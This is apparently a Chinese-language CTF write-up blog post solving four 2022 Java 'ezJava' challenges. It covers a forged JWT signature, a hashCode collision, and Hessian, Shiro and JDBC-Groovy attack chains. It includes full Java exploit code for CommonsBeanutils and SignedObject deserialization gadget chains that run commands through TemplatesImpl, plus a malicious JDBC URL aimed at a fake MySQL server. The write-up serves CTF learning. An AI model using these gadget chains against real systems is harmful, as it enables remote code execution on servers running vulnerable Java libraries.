前言 想吐槽一下Java题的名字,难道想不出其他名字了吗,为什么全是easy、ez,不能朴实一点来个Hard或者是Medium是吧,看的时候人都麻了,然后也突出了近期CTF的情况就是无Java不兄弟!你不出点Java题就不是CTF!写出东方自信,让国外CTF看看国内这盛状!!!(XD
NCTF 2022 | ezJava 考点:unixPrintServiceLookup类的getter调用+Hessian反序列化+JWT CVE-2022-21449 这题可以称为是一个套中套题。。。最外层其实完全没必要套一个JWT的CVE,太搞心态了 主要逻辑就是这个,前面有个JWT鉴权,外加一个hashcode比较问题,所以我才说是套中套。。。。
(1)JWT绕过-CVE-2022-21449 其实考的也不是标题中的CVE,这个漏洞需要在jdk15以上才能触发,所以出题人淘了一个差不多的(这不是密码知识吗。) 我都无语了…..在这一段代码里的r和q没有进行校验 因此可以进行绕过,这里直接给出伪造的JWTeyJBbGliYW5hbmEiOiJXZWxDb21lVG9NYlRGMjAyMiIsImlzcyI6IlB1cGkxIn0=.1.0
,后面两个1、0就是绕过的关键了
(2)hashcode绕过 然后还涉及一个hashcode绕过的小技巧,上述伪造JWT明文为WelComeToMbTF2022
然后题目要求为WelComeToNCTF2022
那为什么这两位的hashcode是相同的呢? 我们观察一下hashcode的源码 他的检验方法实际上是很简单的,也就是需要满足一个等式
1 2 3 4 5 6 7 8 //97 "a".hashCode() //97*31+98=3105 "ab".hahsCode() //3105*31+99=96354 "abc".hashCode()
也就是一个反复叠加的hashcode,从左往右开始乘31,然后加上右边的第一个的Ascii码,所以在这道题中假如我们想要伪造NC
这两个字符串的hash,那么就需要满足78*31+67=77*31+98
,那右边也就是Mb
因此得以绕过
(3)Hessian的toString链 其实有个地方之前做Hessian反序列化的时候没注意,回顾一下,当时是触发hashcode打ROME链,既然会调用到hashmap的put方法,那就可能调用toString,因为put方法里面是有一个equals的 我们可以让左边是一个Xstring来触发toString方法,假如可以走到toString配合,观察依赖包可以发现一个fastjson 这一点不陌生,可以进行一个任意getter、setter调用,正常来说肯定选择TempaltesImpl,但是之前说到了,在Hessian反序列化过程中由于不会调用目标类重写的readObject所以TempaltesImpl有一个属性不可反序列化 那在这里我就想到2个思路
SignObject二次反序列化
Y4佬之前说过的unixPrintServiceLookup
(4)失败的尝试 上面2个类都有get方法能让链子走下去,那现在先试试第一条 这个在我构造payload的时候发现一个问题,没有CC链的依赖怎么可以去触发二次反序列化呢。。。。我们手动加一个QWQ 最后还是以失败告终,但是思路是没问题的,这是Hessian的版本太高了,在高版本的Hessian是会设置whitelist来抵御攻击的 由于signObject不在whitelist里面所以最后会抛出一个异常。
(5)正解 那么正解就是Y4佬和官方WP中使用的一个类unixPrintServiceLookup
(这个类只在Linux系统的JDK中存在Windows不存在,因此接下来不会写的太详细,太复杂了) 这个类存在很多get方法,而且这些get方法中全是命令执行点 参考:https://xie.infoq.cn/article/e5b532ae56eda36be2f04a007 这一篇文章中有比较详细的调用顺序分析,这里帖出首和尾 最后在execCmd执行命令 var2可控,可以反射修改。结束
MTCTF 2022 | ezJava 考点:shiro鉴权绕过、Java CB链 审计的话倒是很明显就是在admin/hello路由下进行了反序列化,但是首先得进行一个Shiro鉴权 这里就涉及一个Shiro鉴权绕过了,经过检索发现了https://tttang.com/archive/1592/#toc_0x05-cve-2020-11989 经过测试可以成功绕过权限认证 然后看一下过滤了些什么类: 这里出题者有个失误,就是断点处com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl
应该是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,他漏掉了一个.
,因此我们可以很自然的用CB链打 解决一个疑惑 看依赖乍看是有cc链依赖的,为什么不用cc链打呢。注意下版本是3.2.2,不是3.2.1,进行了修复,无法反序列化,测试你会发现如下报错 不给你反序列化了,因此用CB链打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.beanutils.PropertyUtils;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Base64;import java.util.PriorityQueue;public class App { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main ( String[] args ) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(evil.class.getName()).toBytecode() }); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("2" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); Base64Encode(barr); } private static String Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); System.out.println(s.length()); return s; } }
有关非预期,和其他师傅讨论了一下,看到依赖有hibernate依赖,可以考虑一手hibernate触发RMI的二次反序列化,但是卡在了 需要想办法绕过这个方法寻找替代品,假如有思路了会补上的
预期解 预期解来了,假如ban了Tempatesimpl我们可以另类去触发JNDI,详细参考
也就是com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
是可以触发JNDI注入的
鹏城杯2022 | ezJava 考点:CB链+二次反序列化 初步猜想是用CB+CC的后半段利用链,因为题目CC3和CC4的依赖都给了 并且只过滤了CC4的chaintransformer,因此我觉得可以接上CB链的compare处进行反序列化, 然后我怎么这么笨呢,总是忘掉二次反序列化这东西,这一题可以用SignObject进行二次反序列化绕过 入口点给了。那么编写POC.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import org.apache.xalan.transformer.TrAXFilter;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.*;public class ezjava_exp { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(evil.class.getName()).toBytecode() }); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{obj}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazymap, "aaa" ); HashMap<Object, Object> hashMap=new HashMap <>(); hashMap.put(tiedMapEntry,"bbb" ); map.remove("aaa" ); Field factory = LazyMap.class.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazymap,chainedTransformer); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA" ); SignedObject signedObject = new SignedObject (hashMap,privateKey,signingEngine); BeanComparator comparator = new BeanComparator (); Queue queue = new PriorityQueue (2 , comparator); queue.add(1 ); queue.add(1 ); setFieldValue(comparator, "property" , "object" ); setFieldValue(queue, "queue" , new Object []{signedObject, signedObject}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); Base64Encode(barr); } private static String Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); System.out.println(s.length()); return s; } }
强网拟态2022 | ezJava 考点:JDBC之Groovy利用链
(1)审题 初步审题其实可以发现是之前ezjaba的revenge版本: 回顾一下JDBC反序列化,最后会接收恶意mysql服务端传输回来的数据,并对其调用原生readObject方法,然后观察这道题的依赖包 有个很显眼(我一开始没注意)的groovy,昨天本来是打算学一手这个链子的,可是咕咕了。 那就是打JDBC-Groovy了,然后还有几层if需要绕一下,这里看看怎么绕 题目会对URL后面的query进行一次解码,也就是我们可以将AUTODESERIALIZE
做一次URL编码即可绕过,剩下的就没啥,就是准备一个恶意mysql服务端,github上有开源的fake_mysql 然后Ysoserial准备Groovy的payload,配置如下url=jdbc:mysql://10.92.85.6:3306/test?%2561%2575%2574%256f%2544%2565%2573%2565%2572%2569%2561%256c%2569%257a%2565 =true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user=yso_Groovy1_bash -c
然后这一题为了防止非预期读取/flag直接设置了个policy文件让我在本地运行不了。无语 那么就云做题了妈的 之后就是走到readObject就到Groovy的调用,就写下Groovy链吧
(2)Groovy链RCE Groovy反序列化利用链